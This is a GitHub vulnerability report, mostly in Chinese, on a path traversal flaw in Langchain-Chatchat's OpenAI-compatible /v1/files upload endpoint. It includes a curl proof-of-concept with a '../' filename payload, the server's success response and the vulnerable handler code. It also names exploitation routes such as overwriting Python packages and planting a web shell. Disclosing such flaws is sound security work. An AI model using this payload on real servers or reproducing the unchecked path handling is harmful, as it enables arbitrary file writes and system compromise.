Skip to content

[BUG] Path Traversal Vulnerability in File Upload for OpenAI-Compatible API #5468

@Ro1ME

Description

@Ro1ME

问题描述 / Problem Description
Langchain-Chatchat 的 OpenAI 兼容文件上传接口 /v1/files 存在路径遍历漏洞。攻击者可以通过构造恶意文件名,将文件写入到 openai_files 目录之外的任意位置。

漏洞类型: 路径遍历 (Path Traversal)
CVSS评分: 9.1 (Critical)
影响范围: 任意文件写入

复现问题的步骤 / Steps to Reproduce

  1. 启动 Langchain-Chatchat 服务

    python startup.py -a
  2. 使用 OpenAI 兼容 API 上传文件,文件名包含路径遍历:

    curl -X POST "http://127.0.0.1:7861/v1/files" \
      -F "purpose=assistants" \
      -F "file=@test.txt;filename=../../../../../malicious.txt"
  3. 观察文件被写入到运行时根目录

  4. 服务器返回成功响应,文件已逃逸预期目录

预期的结果 / Expected Result

  • 文件应该被写入到 {DATA_PATH}/openai_files/assistants/{date}/ 目录下
  • 文件名应该经过路径规范化
  • 包含 .. 的文件名应该被拒绝或清理

实际结果 / Actual Result

  • 文件被写入

  • 成功逃逸了 openai_files 子树

  • 服务器返回 HTTP 200 成功响应:

    {
      "id": "YXNzaXN0YW50cy8yMDI2LTA0LTEyLy4uLy4uLy4uLy4uLy4uL29wZW5haS1maWxlcy1lc2NhcGUudHh0",
      "filename": "../../../../../openai-files-escape.txt",
      "bytes": 58,
      "created_at": 1776004764,
      "object": "file",
      "purpose": "assistants"
    }

漏洞根因 / Root Cause

受影响文件: libs/chatchat-server/chatchat/server/api_server/openai_routes.py:270
受影响函数: files (POST handler)

该函数直接使用用户提供的文件名构造路径,未进行边界检查:

@router.post("/v1/files")
async def files(
    file: UploadFile = File(...),
    purpose: str = Form(...)
):
    filename = file.filename  # 直接使用用户输入
    file_path = os.path.join(base_dir, purpose, date_str, filename)  # 未检查边界
    # ... 写入文件

安全影响 / Security Impact

严重性: CRITICAL

  1. 任意文件写入: 攻击者可以覆盖服务器上的任意文件
  2. OpenAI API 兼容性风险: 使用 OpenAI SDK 的客户端可能无意中触发此漏洞
  3. 持久化攻击: 可以在系统关键位置植入恶意文件
  4. 数据泄露: 可以将文件写入 Web 可访问目录

攻击场景示例:

  • 使用官方 OpenAI Python SDK 上传文件时触发漏洞
  • 覆盖 Python 包文件实现代码执行
  • 在静态文件目录植入 Web Shell
  • 响应中的 filename 字段甚至保留了原始的恶意路径

环境信息 / Environment Information

  • Langchain-Chatchat 版本 / commit 号: Latest (commit from 2026-04-12)
  • 部署方式(pypi 安装 / 源码部署 / docker 部署):- 源码部署 / dev deployment
  • 使用的模型推理框架(Xinference / Ollama / OpenAI API 等):OpenAI API
  • 使用的 LLM 模型(GLM-4-9B / Qwen2-7B-Instruct 等):
  • 使用的 Embedding 模型(bge-large-zh-v1.5 / m3e-base 等):bge-large-zh-v1.5
  • 使用的向量库类型 (faiss / milvus / pg_vector 等): faiss / Vector library used (faiss, milvus, pg_vector, etc.): faiss
  • 操作系统及版本 / Operating system and version: Windows
  • Python 版本 / Python version: 3.8
  • 推理使用的硬件(GPU / CPU / MPS / NPU 等) / Inference hardware (GPU / CPU / MPS / NPU, etc.): GPU
  • 其他相关环境信息 / Other relevant environment information:

附加信息 / Additional Information
OpenAI SDK 兼容性风险:

# 使用官方 OpenAI SDK 可能触发此漏洞
from openai import OpenAI

client = OpenAI(base_url="http://localhost:7861/v1")
client.files.create(
    file=open("../../../../../malicious.txt", "rb"),
    purpose="assistants"
)

验证证据:

  • 文件系统副作用证明
  • 响应中的 filename 字段未经清理,直接返回恶意路径

跨平台影响:

  • Windows: 使用 ..\\../
  • Linux/Unix: 使用 ../
  • 两种路径分隔符都可能生效

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions